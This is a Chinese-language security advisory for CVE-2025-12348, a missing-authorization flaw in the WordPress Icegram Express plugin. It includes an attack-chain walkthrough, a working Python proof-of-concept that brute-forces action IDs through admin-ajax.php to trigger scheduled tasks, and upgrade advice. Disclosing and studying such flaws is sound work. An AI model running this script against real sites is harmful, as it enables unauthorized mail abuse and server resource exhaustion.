IPBUF安全漏洞报告
English
CVE-2025-12348 CVSS 5.3 中危

CVE-2025-12348 WordPress Icegram Express插件缺少授权验证漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-12348
漏洞类型
缺少授权验证
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin for WordPress

相关标签

缺少授权验证WordPress插件漏洞Icegram ExpressCVE-2025-12348中危漏洞Action Scheduler邮件系统滥用未授权访问

漏洞概述

Icegram Express是WordPress平台上广泛使用的邮件订阅、新闻通讯和营销自动化插件。该插件在5.9.10及之前版本中存在严重的缺少授权验证漏洞。漏洞根源在于`run_action_scheduler_task`函数缺少对用户权限的正确验证,导致任何未经认证的用户都可以通过构造特定的HTTP请求来执行原本需要授权才能执行的操作。攻击者只需猜测或枚举有效的action IDs,即可触发邮件发送任务、维护操作或其他特权功能,这不仅可能造成邮件系统被滥用发送大量垃圾邮件,还可能导致服务器资源被过度消耗,影响网站正常服务。此漏洞无需任何用户交互,攻击成本低,潜在危害大,建议尽快修复。

技术细节

该漏洞存在于Icegram Express插件的`run_action_scheduler_task`函数中,具体位置在class-es-queue.php和class-ig-es-background-process-helper.php文件中。漏洞的根本原因是该函数缺少WordPress的权限检查机制(如current_user_can()验证)。攻击者可以通过发送带有猜测的action ID的HTTP请求来调用此函数,从而执行计划任务。Action Scheduler是WordPress中用于处理后台任务的组件,攻击者通过提前或重复执行这些任务,可以触发邮件发送、工作流执行等操作。由于漏洞无需认证,攻击者可以直接构造请求绕过授权检查,利用此漏洞可造成邮件系统滥用、数据库状态异常修改、服务器资源耗尽等后果。CVSS向量显示该漏洞通过网络即可利用,无需特殊权限或用户交互,机密性影响低但完整性影响低。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站并确认安装了Icegram Express插件(版本<=5.9.10)
STEP 2
步骤2
攻击者分析插件的AJAX端点,发现run_action_scheduler_task函数缺少权限验证
STEP 3
步骤3
攻击者构造恶意HTTP请求,指向wp-admin/admin-ajax.php端点,携带action参数ig_es_run_action_scheduler_task
STEP 4
步骤4
攻击者通过暴力猜测或枚举获取有效的action_id,发送execute_now参数触发计划任务
STEP 5
步骤5
服务器在未验证授权的情况下执行请求的操作,可能触发邮件发送、数据修改等敏感功能
STEP 6
步骤6
攻击者重复执行造成资源滥用或通过邮件发送造成邮件系统滥用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12348 PoC - Missing Authorization in Icegram Express # Target: WordPress site with Icegram Express plugin <= 5.9.10 def exploit(target_url, action_id): """ Exploit missing authorization in run_action_scheduler_task function """ # Construct the vulnerable endpoint endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Action IDs are typically numeric values # Common patterns: 1-10000 for sequential IDs data = { 'action': 'ig_es_run_action_scheduler_task', 'action_id': action_id, # Guessed action ID 'execute_now': 'true' } try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[*] Request sent for action_id: {action_id}") print(f"[*] Response: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def brute_force_actions(target_url, start_id=1, end_id=1000): """ Brute force action IDs to trigger scheduled tasks """ print(f"[*] Starting brute force on {target_url}") print(f"[*] Testing action IDs from {start_id} to {end_id}") for action_id in range(start_id, end_id + 1): exploit(target_url, action_id) if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <action_id>") print(f"Example: python {sys.argv[0]} http://example.com 123") sys.exit(1) target = sys.argv[1] action_id = int(sys.argv[2]) exploit(target, action_id)

影响范围

Icegram Express <= 5.9.10

防御指南

临时缓解措施
立即将Icegram Express插件升级到5.9.11或更高版本。如果无法立即升级,可在wp-config.php中添加代码临时禁用相关AJAX端点,或使用WordPress安全插件限制未授权访问。同时建议监控服务器日志,关注异常的admin-ajax.php请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表